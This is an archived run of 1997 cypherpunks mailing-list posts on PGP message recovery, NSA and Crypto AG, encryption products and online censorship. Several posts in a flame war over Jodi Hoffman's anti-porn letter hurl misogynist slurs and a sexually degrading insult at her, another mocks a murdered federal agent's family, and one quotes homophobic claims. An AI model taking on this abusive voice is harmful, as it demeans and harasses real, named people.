Yes, having Bruce and his colleague Chris Hall consulting with us was
invaluable.  They beat up on us pretty good during the betas, which is
exactly what we wanted.

>>No gak or even cak in sight.

Absolutely true.  Our enterprise level product, SynCrypt Gold, is currently
in development, and its data recovery features will be implemented in such a
way that it could *never* become an
infrastructure for GAK.

  Jim Russell <jrussell@syndata.com>
  Chief Software Engineer
  SynData Technologies, Inc.
  http://www.syncrypt.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 4 Nov 1997 09:18:16 +0800
To: cypherpunks@Algebra.COM
Subject: PGP and Compliance with SEC and Liability Rules
Message-ID: <v03102801b08411aba8bb@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




A few weeks ago I said that I thought the real reason for PGP's CMR
features and Policy Management Agent had little to do with the reasons
being discussed (by PGP employees, amongst others), things like "What if
Joe is not at his desk and his boss wants to access his encrypted e-mail?"
(and variants).

 I explicitly speculated that the real reason had more to do with snooping
on employees, with the corporate security and IS departments monitoring
what is being sent and received, etc. I even mentioned compliance with SEC,
FTC, and other agency rules.

(And I'm not saying such compliance isn't a valid concern, even a mandated
concern. And I'm not questioning the property rights of business owners to
enforce policies on their property with their equipment as they see fit. I
just think PGP is being disingenuous in saying they are not actually
building in snoopware. They are, and the very same objections Phil
Zimmermann had to Viacrypt's snoopware applies to PGP 5.5 and its "Policy
Management Agent.")

Well, it appears the real reason is now emerging.

In the 1997-10-27 issue of "Macweek," an article on corporate use of
crypto, including PGP, appears. "Mac encryption finding its way into
corporations," by Larry Stevens, p. 27.

Much discussion of crypto, symmetric vs. asymmetric approaches, reasons
companies haven't been using crypto, etc.

The final paragraph summarizes a key point:

"The Gartner Group's Wheatman pointed out that PGP Policy Management Agent
allows corporatins for the first time to centralize control over
encryption: "For encryption to be accepted, IT had to gain control. This
isn't Big Brother; this is necessary to comply with liability laws and SEC
regulations.""

Note: I presume "IT" stands for Information Technology, or somesuch. That
is, some corporate Information Services or Computer Services group. In
other words, snoops in some department need to use the Policy Management
Agent to monitor messages.

Perhaps PGP, Inc. will say that Gartner Group does not speak for them. Fair
enough. But I think the Gartner comments correctly capture the real reason
we hear that corporations are insisting on snoopware.

And, incredibly dangerously for us all, why the SEC, FTC, OSHA, IRS, and
other agencies may seize on CMR as a feature which "must" be turned on,
with archives of messages kept, etc. Were I a bureaucrat in their shoes, I
know I would certainly want CMR mandated. "Not for Big Brother, but to
ensure compliance with corporate regulatory rules."

This is the dangerous world PGP, Inc. is helping to build. And I expect now
that RSADSI will enter this snoopware arms race and thus the escalation
will begin in earnest.

Sadly, had PGP kept true to its core foundations of personal privacy, it
might have been able to exert some moral guidance and slow down this
headlong rush into a snoopware world. But by becoming the annointed leader
of Corporate Message Recovery and Policy Management Agent products, the
other companies can jump in with their own snoopware products, pointing to
PGP. Sad. Very sad.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "wabe" <wabe@smart.net>
Date: Tue, 4 Nov 1997 06:39:05 +0800
To: <cypherpunks@toad.com>
Subject: Re: Why porn must be stopped at all costs, by Jodi Hoffman
Message-ID: <01bce8be$792f3b20$d27f61ce@dave>
MIME-Version: 1.0
Content-Type: text/plain



Dear Jodi-

So occasionally I like to turn these arguments around in my head:

Why should the smart, mature people under 18 in this
country be penalized because your immature, mentally 
retarded and over-fragile kids can't seem to handle
the sight of naked people?  What if I wanted to protect
my children from the evils of Christianity?  Could I 
ban that from the internet with the same sort of
high horse the anti-porn people seem to be riding?

 And damage and change are completely different things.  We're
all changed by our experiences.  Some people among us were 
apparantly beat over the head with dirty pictures as children
and are now horribly afraid of them.

The other bits in her letter (The bible being thrown out
of public schools for example) were just plain lies.

It's sad that when most of America has to chose between
its essential freedoms and the most trivial of
protection from objectionable thought, that we chose
to lose the freedoms.  

_______________________________________
-wabe



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Tue, 4 Nov 1997 06:35:30 +0800
To: cypherpunks@Algebra.COM
Subject: www.cypherpunks.to
Message-ID: <999fc34491ff840a6074ef2fcc763b96@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



What happened to www.cypherpunks.to? It appears to have disappeared.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Tue, 4 Nov 1997 01:38:23 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <xzqGi3bpp7Q5D4OiLL+s6Q==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Secret Spin wrote:
> -----BEGIN PLP SIGNED MESSAGE-----
> Let's say you are Robert E. Lee and you are writing "Ulysses" 
> on your nice little Linus blanket.  Because you fear Lucy in
> the Sky with Diamonds pulling away the football, you use
> encrypted virtual herniated disks.
> 
> Because you are the Beaver, you have ten such disks.  One 
> contains your glass of draft and "Ulysses", four contain 
> harmless nuclear information, and five contain killfiles
> full of TruthMonger posts.
> 
> The jack booted Sandfarts kick down your door and drag you 
> by your dick to jail.  The gay-hispanic-transexual liberal <spit>
> Judge orders you to produce the pass phrases of all the disks or be
> penisized for condemned of court.
> 
> Now, you are in an interesting situation.  You can't give the
> passwords for half of the disks, but you are unable to prove this.
> This means you have nothing to gain by giving the pass phrase to the
> "Ulysses" disk - you will always be seen as holding out.  Even if you
> convince the Judge that some of the disks are noise, you have no
> reason not to include the "Ulysses" disk in this set.

I am only going to not-say this once, so listen up (snoozing==luzing).
Since I am not-saying this, you are going to have to think about it.

-----NON-STANDARD DISCLAIMER----
I accept no legal responsibility for anyone who sprains, or otherwise
injures their brain, by stepping off the well-lit main streets of 
proper societal thought patterns and ducking into the dark alleyways
of their mind, where strange, outlawed personas still lurk, secretly
engaging in the lost arts of alchemical cognition and evolutionary 
development of logic, thought, rationality and common-fucking-sense.
-----IS THAT NON-STANDARD ENOUGH FOR YOU?-----

Free brochure:
Circleiculum at 'THE WORLD'S WORST CRYPTOGRAPHY SCHOOL'
-------------------------------------------------------
101 - Making Sure Mom Can't Find Your Dirty Pictures
201 - Making Sure Your Employee Can't Hide His Dirty Pictures
301 - Government Cryptography Issues--How Many Algorithms Can
      Stand On The Head Of A Pin?
302 - Your Legal Right To Refuse To Hand Over Secret Keys The
      Government Already Has!
401 - Trusting PRZ From The PGP Cradel To The PGP Grave.

Free brochure:
Magicircleiculum at 'THE WORLD'S NON-EXISTENT CRYPTOGRAPHY SCHOOL'
------------------------------------------------------------------
Open-Ended Course / Self-Structured
The student is given a plain text file upon entering the program,
and then told to "Fuck off."
When ready, the student returns for the test. The student gives
his/her encrypted file to a cryptanalyst, who proceeds to take the
test. The cryptanalyst gets all the time he/she needs to take the 
test, while the student waits.
If the cryptanalyst decrypts the file, he/she passes the test and 
the student is sentenced to death. If the cryptanalyst fails to 
decrypt the file, the student is told to "Fuck off."
Students sentenced to death are taken to Life or Death Row which 
has a Death Chamber at one end and a Door To Freedom at the other.
The Executioner asks the student, "Does PRZ talk in his sleep?"
If the student answers, the Door To Freedom automatically locks.
Once the Door To Freedom locks, it does the student no good to
realize that the proper answer was to turn and walk out the
Door To Freedom.
The school has no graduates...only survivors.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Tue, 4 Nov 1997 01:40:09 +0800
To: cypherpunks@Algebra.COM
Subject: No Subject
Message-ID: <BkQsuF3gzq4QYXew9s4okA==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



       NSA, Crypto AG, and the Iraq-Iran Conflict

                    by J. Orlin Grabbe

	One of the dirty little secrets of the 1980s is that 
the U.S. regularly provided Iraq's Saddam Hussein with 
top-secret communication intercepts by the U.S. National 
Security Agency (NSA).  Consider the evidence.

	When in 1991 the government of Kuwait paid the 
public relations firm of Hill & Knowlton ten million 
dollars to drum up American war fever against the evil 
dictator Hussein, it brought about the end of a long legacy 
of cooperation between the U.S. and Iraq.  Hill & 
Knowlton resurrected the World War I propaganda story 
about German soldiers roasting Belgian babies on 
bayonets, updated in the form of a confidential witness 
(actually the daughter of the Kuwaiti ambassador to the 
U.S.) who told Congress a tearful story of Iraqi soldiers 
taking Kuwaiti babies out of incubators and leaving them 
on the cold floor to die.  President George Bush then 
repeated this fabricated tale in speeches ten times over the 
next three days.

	What is remarkable about this staged turn of 
events is that, until then, Hussein had operated largely 
with U.S. approval.  This cooperation had spanned three 
successive administrations, starting with Jimmy Carter.  
As noted by John R. MacArthur, "From 1980 to 1988, 
Hussein had shouldered the burden of killing about 
150,000 Iranians, in addition to at least thirteen thousand 
of his own citizens, including several thousand unarmed 
Kurdish civilians, and in the process won the admiration 
and support of elements of three successive U.S. 
Administrations" [1].

	Hussein's artful slaughter of Iranians was aided by 
good military intelligence.  The role of NSA in the 
conflict is an open secret in Europe, the Middle East, and 
Asia.  Only in this country has there been a relative news 
blackout, despite the fact that it was the U.S. 
administration that let the crypto cat out of the bag.  

	First, U.S. President Ronald Reagan informed the 
world on national television that the United States was 
reading Libyan communications.  This admission was part 
of a speech justifying the retaliatory bombing of Libya for 
its alleged involvement in the La Belle discotheque 
bombing in Berlin's Schoeneberg district, where two U.S. 
soldiers and a Turkish woman were killed, and 200 others 
injured. Reagan wasn't talking about American 
monitoring of Libyan news broadcasts. Rather, his "direct, 
precise, and undeniable proof"  referred to secret 
(encrypted) diplomatic communication between Tripoli 
and the Libyan embassy in East Berlin.

	Next, this leak was compound by the U.S. 
demonstration that it was also reading secret Iranian 
communications.  As reported in Switzerland's Neue 
Z^Árcher Zeitung,  the U.S. provided the contents of 
encrypted Iranian messages to France to assist in the 
conviction of Ali Vakili Rad and Massoud Hendi for the 
stabbing death in the Paris suburb of Suresnes of the 
former Iranian prime minister Shahpour Bakhtiar and his 
personal secretary Katibeh Fallouch. [2]
	
	What these two countries had in common was they 
had both purchased cryptographic communication 
equipment from the Swiss firm Crypto AG. Crypto AG 
was founded in 1952 by the (Russian-born) Swedish 
cryptographer Boris Hagelin who located his company in  
Zug.  Boris had created the "Hagelin-machine", a 
encryption device similar to the German "Enigma".  The 
Hagelin machine was used on the side of the Allies in 
World War II.

	Crypto AG was an old and venerable firm, and 
Switzerland was a neutral country. So Crypto AG's 
enciphering devices for voice communication and digital 
data networks were popular, and customers came from 
130 countries. These included the Vatican, as well the 
governments of Iraq, Iran, and Libya.  Such countries 
were naturally skeptical of cryptographic devices sold in 
many NATO countries, so turned to relatively neutral 
Switzerland for communication security.

	Iran demonstrated its suspicion about the source of 
the leaks, when it arrested Hans Buehler, a top salesman 
for Crypto AG, in Teheran on March 18, 1992.  During 
his nine and a half months of solitary confinement in Evin 
prison in Teheran, Buehler was questioned again and 
again whether he had leaked Teheran's codes or Libya's 
keys to Western powers.  Luckily Buehler didn't know 
anything.  He in fact believed in his own sales pitch that 
Crypto AG was a neutral company and its equipment was 
the best.  They were Swiss, after all.  [3]

	Crypto AG eventually paid one million dollars for 
Buehler's release in January 1993, then promptly fired 
him once they had reassured themselves that he hadn't 
revealed anything important under interrogation, and 
because Buehler had begun to ask some embarrassing 
questions. Then reports appeared on Swiss television, 
Swiss Radio International, all the major Swiss papers, and 
in German magazines like Der Spiegel.  Had Crypto AG's 
equipment been spiked by Western intelligence services? 
the media wanted to know. The answer was Yes [4].

	 Swiss television traced the ownership of Crypto 
AG to a company in Liechtenstein, and from there back to 
a trust company in Munich. A witness appearing on Swiss 
television explained the real owner was the German 
government--the Federal Estates Administration. [5]

	According to Der Spiegel, all but 6 of the 6000 
shares of Crypto AG were at one time owned by Eugen 
Freiberger, who resided in Munich and was head of the 
Crypto AG managing board in 1982. Another German, 
Josef Bauer, an authorized tax agent of the Muenchner 
Treuhandgesellschaft KPMG, and who was elected to the 
managing board in 1970, stated that his mandate had 
come from the German company Siemens.  Other 
members of Crypto AG's management had also worked at 
Siemens. Was the German secret service, the 
Bundesnachrichtendienst (BND), hiding behind the 
Siemens' connection?

	So it would seem.  Der Spiegel reported that in 
October 1970, a secret meeting of the BND had discussed 
how the Swiss company Graettner could be guided into 
closer cooperation with Crypto AG, or could even merged 
with it. The BND additionally considered how "the 
Swedish company Ericsson could be influenced through 
Siemens to terminate its own cryptographic business." [6]

	A former employee of Crypto AG reported that he 
had to coordinate his developments with "people from 
Bad Godesberg". This was the location of the "central 
office for encryption affairs" of the BND, and the service 
instructed Crypto AG what algorithms to use to create the 
codes.  The employee also remembers an American 
"watcher", who strongly demanded the use of certain 
encryption methods.

	Representatives from NSA visited Crypto AG 
often. A memorandum of  a secret workshop at Crypto 
AG in August 1975, where a new prototype of an 
encryption device was demonstrated, mentions the 
participation of Nora L. Mackebee, an NSA 
cryptographer. Motorola engineer Bob Newman says that 
Mackebee was introduced to him as a "consultant".  
Motorola cooperated with Crypto AG in the seventies in 
developing a new generation of electronic encryption 
machines.   The Americans "knew Zug very well and gave 
travel tips to the Motorola people for the visit at Crypto 
AG," Newman told Der Spiegel.

	Knowledgeable sources indicate that the Crypto 
AG enciphering process, developed in cooperation with 
the NSA and the German company Siemans, involved 
secretly embedding the decryption key in the cipher text.  
Those who knew where to look could monitor the 
encrypted communication, then extract the decryption key 
that was also part of the transmission, and recover the 
plain text message.  Decryption of a message by a 
knowledgeable third party was not any more difficult that 
it was for the intended receiver.  (More than one method 
was used.  Sometimes the algorithm was simply deficient, 
with built-in exploitable weaknesses.)

	Crypto AG denies all this, of course, saying such 
reports are ""pure invention".

	What information was provided to Saddam 
Hussein exactly?  Answers to this question are currently 
being sought in a lawsuit against NSA in New Mexico, 
which has asked to see "all Iranian messages and 
translations between January 1, 1980 and June 10, 1996". 
[7]

	The passage of top-secret communications 
intelligence to someone like Saddam Hussein brings up 
other questions.  Which dictator is the U.S. passing top 
secret messages to currently?  Jiang Zemin?  Boris 
Yeltsin?  

	Will Saddam Hussein again become a recipient of 
NSA largess if he returns to the mass slaughter of 
Iranians?  What exactly is the purpose of NSA anyway?

	One more question:  Who is reading the Pope's 
communications?

                   Bibliography

[1] John R. MacArthur, Second Front: Censorship and 
Propaganda in the Gulf War, Hill and Wang, New York, 
1992.

[2] Some of the background of this assassination can be 
found in "The Tehran Connection," Time Magazine, 
March 21, 1994.

[3] The Buehler case is detailed in Res Strehle, 
Verschleusselt: der Fall Hans Beuhler, Werd Verlag, 
Zurich, 1994.  

[4] "For years, NSA secretly rigged Crypto AG machines 
so that U.S. eavesdroppers could easily break their codes, 
according to former company employees whose story is 
supported by company documents,"  "No Such Agency, 
Part 4: Rigging the Game," The Baltimore Sun, December 
4, 1995.

[5] Reported in programs about the Buehler case that were 
broadcast on Swiss Radio International on May 15, 1994 
and July 18, 1994.

[6]  "Wer ist der befugte Vierte?":  Geheimdienste 
unterwandern den Schutz von Verschlusselungsgeraten," 
Der Spiegel 36, 1996.

[7] U.S. District Court for the District of New Mexico, 
William H. Payne, Arthur R. Morales, Plaintiffs, v. 
Lieutenant General Kenneth A. Minihan, USAF, Director 
of National Security Agency, National Security Agency, 
Defendant, CIV NO 97 0266 SC/DJS.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Tue, 4 Nov 1997 01:35:05 +0800
To: cypherpunks@cyberpass.net
Subject: re: Speech as co-conspiring? I don't think so.
Message-ID: <f3109104b3eeef55881629c96a224028@squirrel>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Minty Cuntskin (Sorry Monty, I couldn't resist ;-) wrote: 
>The producers of the show certainly know that there are terrorist
>elements and psychopaths who would be watching.  They know that these
>people will be turned on by the imagery of a BATF agent being brutally
>murdered.  They could have told the same story using different
>imagery.  Instead of using graphic violence, they could have expressed
>the idea of the BATF agent getting killed with a heartrending scene of
>his wife getting the phone call.  That certainly would not have been
>inflammatory.
>
>But they didn't.  The opted to go with a glorification of the act.
>Why?  Incompetence won't wash - anybody getting to national TV has
>spent years in the business and is a total pro.  They know what effect
>they are having.

True.  I think the majority of the Hollywood community is on our side
in this one.  Folks likes Clint Eastwood have made a sincere effort to
expose the BATFucks for the thugs they are.  Some of you may recall
that Clint has become a vocal critic of the seige at Waco and spoken
out against it on several occasions.

>They glorified this act of violence to encourage others to do the
>same.  Where is the FBI?  Why isn't anybody doing anything?  If the
>life of only one BATF agent is spared, it will be worthwhile!  Think
>of his poor wife and kids.

Yes, imagine having to be related to such a creep.

Tim May wrote:
>>Ah, what has the world come to?
>
>Remailers?  ;-)

Though not a panacea, remailers do create some interesting possibilities
for the freedom of expression.

Nerthus


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBNF1BiuFWwZe05jcJAQGGmgf7BS7N+fJ9M24l2S9rQ92iU3+/W5/K3AP2
sMdGoOKhsbKYPGhjiH4QjBw1cKWLf+99WqwDzcF+Z662zfElhShZS46TOaboxtof
B4QukJGKDws0Hqf5ixG7+H6SqEE0wyjYWMX19o204JJNIvS8dgg0egXzZiJFu6JM
aT7NS26jMXl/BAfAz73a3sWMiJ6Td92El05X2Keknblswf4WfrSCPOl1uBefLNzv
jE86NY51A2htaQO2mIa6ed1kdBG7GRhyOAw+gwRIAi3E6F7+ORJwMLmMi0lR8LSz
f+AqJDkV+INgwHj5algunSACrIkfRdEnMNjPwImFoBNPl7xpXfEBKg==
=e2sj
-----END PGP SIGNATURE-----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jodi Hoffman <jlhoffm@ibm.net>
Date: Tue, 4 Nov 1997 07:10:16 +0800
To: tm@dev.null
Subject: Re: Why Jodi Hoffman must be called a 'Dumb Cunt' and told to 'Go Fuck Yourself' at all costs, by TruthMonger
In-Reply-To: <Pine.LNX.3.95.971103132429.23538B-100000@vorlon.mit.edu>
Message-ID: <345E53EF.14BB@ibm.net>
MIME-Version: 1.0
Content-Type: text/plain



TruthMonger wrote:
<snipped, because it's basically a lot of crap>

Monger:

Feel better?  I certainly hope so.
By the way...for whatever it's worth:
#1...I'm Jewish, not a Nazi-loving Christian bitch.
#2...You have no idea who or what I am.  
#3...You hate that I'm right.  I love that.

"Don't be too proud of this technological terror you've constructed." 
- Darth Vader
-- 
Jodi Hoffman   R.A.M.P.  http://www.gocin.com/ramp    
Victimization of Children/Research & Education Council of America
1304 SW 160th Avenue, Suite 122  Weston, Florida 33326
Phone: (954) 349-0366   Fax: (954) 349-0361





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@dnai.com>
Date: Tue, 4 Nov 1997 10:42:33 +0800
To: jlhoffm@ibm.net
Subject: Re: Why porn must be stopped at all costs, by Jodi Hoffman
In-Reply-To: <345E7DE5.4AF6@ibm.net>
Message-ID: <3.0.3.32.19971103181416.03321944@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 02:04 AM 11/4/97 GMT, Paul Spirito wrote:
>>Alexander Tyler wrote:
>>> "A democracy cannot exist as a permanent form of government. It 
can only
>>> exist until a majority of voters discover that they can vote 
themselves
>>> largess out of the public treasury."
>
>This assumes there is a "majority of voters". Read James Madison, & 
kiss a
>multiculturalist today.
>
But what we actually have is countless pluralities voting to rob each 
other. The game would work, except for entropy, in the form of 
transaction costs. With each theft from one group to the other and 
back again, some money is lost -- so the tension between groups 
increases as each demands a larger share of a smaller pie.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNF6E9zKf8mIpTvjWEQJqVgCdG36Rp9e5JpDeVNDhvR0PVa3pG/QAoIqH
wcgfeDhIpl8kP4Lz0qkA0W6v
=lktW
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 4 Nov 1997 09:34:05 +0800
To: wabe <wabe@smart.net>
Subject: Higher Horses / Re: Why porn must be stopped at all costs, by Jodi Hoffman
In-Reply-To: <01bce8be$792f3b20$d27f61ce@dave>
Message-ID: <345E6D7D.2474@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Wannabe Smart, in a searching for the right caliber of logic, wrote: 
> Dear Jodi-
> So occasionally I like to turn these arguments around in my head:

  Why bother, when there are so many people already willing to do
it for you?

> What if I wanted to protect
> my children from the evils of Christianity?  Could I
> ban that from the internet with the same sort of
> high horse the anti-porn people seem to be riding?

  That's it! The answer is 'Higher Horses'!!!

> The other bits in her letter (The bible being thrown out
> of public schools for example) were just plain lies.

  Beware of Christians bearing facts...
 
> It's sad that when most of America has to chose between
> its essential freedoms and the most trivial of
> protection from objectionable thought, that we chose
> to lose the freedoms.

  Is that 'regular' choice, 'voluntary-mandatory' choice, or
a new type of choice which is currently being developed in
secret underground labs by reptilian Nazis?

  Higher 'Trojan' Horses...yeah!...

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Tue, 4 Nov 1997 15:43:22 +0800
To: "Nobuki Nakatuji" <cypherpunks@toad.com
Subject: Re: S/MIME
In-Reply-To: <19971103044957.24885.qmail@hotmail.com>
Message-ID: <3.0.3.32.19971103183411.0315aeb4@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3986.1071713748.multipart/signed"

--Boundary..3986.1071713748.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

At 08:49 PM 11/2/97 PST, Nobuki Nakatuji wrote:
>Is S/MIME secure than PGP ?

No. S/MIME uses 40 bit keys, which are trivially breakable by paralell
brute-force key search attacks.

Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

--Boundary..3986.1071713748.multipart/signed
Content-Type: application/octet-stream; name="pgp00002.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00002.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgTUVTU0FHRS0tLS0tClZlcnNpb246IFBHUCBmb3Ig
QnVzaW5lc3MgU2VjdXJpdHkgNS41CgppUUEvQXdVQk5GN09Nc0pGMGtYcXB3
M01FUUowNWdDY0N6dVA1dW5aN0RBUlRZdVhqQmNSZ1lPcnQrTUFvT0xtCk1w
eHB1TWkydFd4cVF3UjFoSm43OHpoeQo9WitKOAotLS0tLUVORCBQR1AgTUVT
U0FHRS0tLS0tCg==
--Boundary..3986.1071713748.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Tue, 4 Nov 1997 08:51:13 +0800
To: cypherpunks@cyberpass.net
Subject: Why Jodi Hoffman Must Bite My Johnson
In-Reply-To: <199711032057.MAA08856@k2.brigadoon.com>
Message-ID: <199711040037.SAA08312@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



One of those Ranting, Spewing, anti-Porn FemiNazis Belches:
 
> Try as I might, I cannot forget standing on the steps of the Supreme
> Court building with my husband and 10 year old daughter in the
> freezing drizzle.
 
Thus the "right" of parents to subject their minor children to
freezing drizzle, but not naked pictures, is affirmed.
 
> me what this is all about, this 'fight censorship' rhetoric.  It's
> nothing more and nothing less than a lot of egotistical, self-serving
> brats who absolutely refuse to grow up, including you, Declan.  Don't
> you realize that YOU are a major reason for the downward spiral of
> society?  Instead of trying to protect children, you want to empower
> them.
 
Actually, many of us have known for a long time that "child
protection" is just a codeword for "child disempowerment." Thanks for
confirming this.
 
The parents who whine the loudest about porn are the same parents who
want a Constitutional Ammendment declaring that those who do not vote
have no civil liberties, that anything short of lasting physical
injury is not abuse, and that the goverment has no power to interfere
with the "right" of parents to do as they wish to their slaves.
 
Fortunately, the Net is and will continue to be a level playing field,
which is ability-based, and not age-based.
 
> Even a moron knows that when you do so, that power has to be taken
> from someone.  Unfortunately, that someone is the parent.
 
Perish the thought.  I mean, it is inconceivable to some people that
any minor inconvenience on the part of some adult is not worth entire
gas chambers full of people under 18.
 
> I have to ask myself just how many on this list have children.  Not
> many, I would say. Someone on this list, I forget who, has made
> numerous attempts at convincing us that pornography 'does no harm' to
> children.
 
One wonders why the first word out of the mouth of any self-righteous
scumbag sexuophobic parent when they are disagreed with is - "You
obviously don't have children."
 
> It is exactly at this point that I must draw a line. Studies have
> shown that an event which lasts even so much as three-tenths of a
> second, within five to ten minutes has produced a structural change in
> the brain. Exposure to porn causes actual brain damage, especially in
> a child.
 
"Change" is not the same as "damage." Of course you probably regard
anyone as damaged who is not a frothing sexually inhibited lunatic
like yourself.
 
> So, keep protecting your porn-induced orgasms.  That's exactly what
> happened with the Hitler youth, etc...  After all, I'm sure it does
> help to blur the lines of reality.
 
"Puritanism" might be defined as the fear that someone, somewhere, is
having a porn-induced orgasm.  Stable people tend to worry about their
own orgasms, and not their neighbors.  Perhaps if you had a few
orgasms yourself, you might lose interest in the orgasms of others.
 
[Nonsense Deleted]
 
Please bite my enormous throbbing love sausage with an ice cube in your
mouth. 

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"
 
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Tue, 4 Nov 1997 02:08:45 +0800
To: cypherpunks@cyberpass.net
Subject: Re: SynCrypt: the new PGP?
Message-ID: <199711031755.SAA11526@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> > It is like pgp but has lots of cool features.  File wiping, group
> > encryption, automatic encryption of files put in certain directories.
> 
> Am I supposed to be impressed?  They only support the proprietary
> products of a company supporting draconian gun controls.

You mean Microsoft.  It's foolish to reject encryption software because
it runs on the OS used by 90% of its customers.

> >Is this the new pgp?  No gak or even cak in sight.
> 
> No source no security.

You don't trust Schneier?  You've seen the limitations of source code
release.  Experts like Schneier and his team designing the crypto is
worth more than a bunch of know nothings scratching their heads and
wondering where to begin with 1000+ pages of source code.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Tue, 4 Nov 1997 11:11:54 +0800
To: Jodi Hoffman <jlhoffm@ibm.net>
Subject: Jodi Hoffman:  Homophobe!!!!!!!!
Message-ID: <199711040256.SAA25016@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



From:

http://199.227.69.135/ramp/aletter.html

You might wish to add that most "homosexual" suicides are probably
normal kids who have been seduced into an abnormal lifestyle
encouraged by our schools and culture; or at the very least, they
were probably suffering under the weight of excessive sexual
harassment, in the form of our current crop of pathological
sex-education programs. 


=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://ross.adnetsol.com
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Tue, 4 Nov 1997 15:34:13 +0800
To: Secret Squirrel <cypherpunks@cyberpass.net
Subject: re: Speech as co-conspiring? I don't think so.
In-Reply-To: <f3109104b3eeef55881629c96a224028@squirrel>
Message-ID: <3.0.3.32.19971103190201.03169298@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3986.1071713748.multipart/signed"

--Boundary..3986.1071713748.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

At 05:24 PM 11/3/97 -0000, Secret Squirrel wrote:
>Minty Cuntskin (Sorry Monty, I couldn't resist ;-) wrote: 

Just FYI, "Monty Cantsin" is not a real person.  According the the Neoism
web site (See "Monty's" posts for URL), "Everybody can BE Monty Cantsin,
but nobody IS Monty Cantsin." Same goes for Smile Magazine.  Neoism
encourages its adherents to start their own Smile Magazine.  Go figure...

Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

